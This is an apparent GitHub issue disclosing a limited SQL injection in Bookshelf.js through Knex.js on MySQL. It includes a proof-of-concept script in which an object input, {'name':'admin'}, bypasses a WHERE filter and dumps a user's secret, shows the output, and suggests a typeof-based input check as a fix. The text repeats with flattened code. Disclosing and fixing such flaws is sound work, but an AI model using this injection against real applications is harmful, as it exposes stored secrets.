You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
Bookshelf.js does not properly sanitise user inputs that are either an Object or Array type. If MySQL is used as the backend DBMS, the resulting query that is built using Knex.js is a valid SQL query, but the MySQL server may ignore filters in the WHERE clause. Depending on how developers use Bookshelf.js, this can lead to sensitive information disclosure.
To confirm the vulnerability, I created a MySQL database with a users table with the following rows.
name
secret
admin
you should not be able to return this!
guest
hello world
Then let's imagine a web application that allows querying with the secret column as a filter. The goal is to dump the value of the secret column for the admin user, without knowing the value. The following PoC (an input of {"name": "admin"}) builds a valid query that is processed by the MySQL server and dumps the admins secret.
constknex=require('knex')({client: 'mysql2',connection: {host: '127.0.0.1',user: 'root',password: 'topsecret',database: 'testdb',charset: 'utf8'}})knex.schema.hasTable('users').then((exists)=>{if(!exists){knex.schema.createTable('users',(table)=>{table.increments('id').primary()table.string('name').notNullable()table.string('secret').notNullable()}).then()knex('users').insert({name: "admin",secret: "you should not be able to return this!"}).then()knex('users').insert({name: "guest",secret: "hello world"}).then()}})constbookshelf=require('bookshelf')(knex)constUser=bookshelf.model('User',{tableName: 'users'})attackerControlled={"name": "admin"}newUser({secret: attackerControlled}).fetch().then((user)=>{console.log(user)})
Output from running the above script
ModelBase {
attributes: [Object: null prototype] {
secret: 'you should not be able to return this!',
id: 1,
name: 'admin'
},
_previousAttributes: {
secret: 'you should not be able to return this!',
id: 1,
name: 'admin'
},
changed: [Object: null prototype] {},
relations: {},
cid: 'c1',
_knex: null,
id: 1
}
Recommendation to Fix
The vulnerability is primarily caused by Knex.js not securely handling inputs into the WHERE clause. However, ORMs should also sanitise user inputs.
I understand this project is no longer being maintained, but it is still widely used across a lot applications. If you are using Bookshelf.js (or Knex.js) you need to implement input sanitisation before using those packages. A simple fix would be to reject all object type inputs by using the typeof JavaScript operator as shown below.
constallowedTypes=["number","string","boolean"]if(!allowedTypes.includes(typeofuserInput)){return"Bugger off hacker!"}
If you have any other solutions for fixing this vulnerability until a patch for Knex.js has been released, feel free to update this issue.
The text was updated successfully, but these errors were encountered:
Issue Description
Bookshelf.js does not properly sanitise user inputs that are either an
Object
orArray
type. If MySQL is used as the backend DBMS, the resulting query that is built using Knex.js is a valid SQL query, but the MySQL server may ignore filters in the WHERE clause. Depending on how developers use Bookshelf.js, this can lead to sensitive information disclosure.For further details about the vulnerability I wrote an article about the limited SQLi vulnerability in Knex.js that makes Bookshelf.js vulnerable.
Proof of Concept (PoC)
To confirm the vulnerability, I created a MySQL database with a
users
table with the following rows.Then let's imagine a web application that allows querying with the secret column as a filter. The goal is to dump the value of the secret column for the admin user, without knowing the value. The following PoC (an input of
{"name": "admin"}
) builds a valid query that is processed by the MySQL server and dumps the admins secret.Output from running the above script
Recommendation to Fix
The vulnerability is primarily caused by Knex.js not securely handling inputs into the WHERE clause. However, ORMs should also sanitise user inputs.
I understand this project is no longer being maintained, but it is still widely used across a lot applications. If you are using Bookshelf.js (or Knex.js) you need to implement input sanitisation before using those packages. A simple fix would be to reject all
object
type inputs by using thetypeof
JavaScript operator as shown below.If you have any other solutions for fixing this vulnerability until a patch for Knex.js has been released, feel free to update this issue.
The text was updated successfully, but these errors were encountered: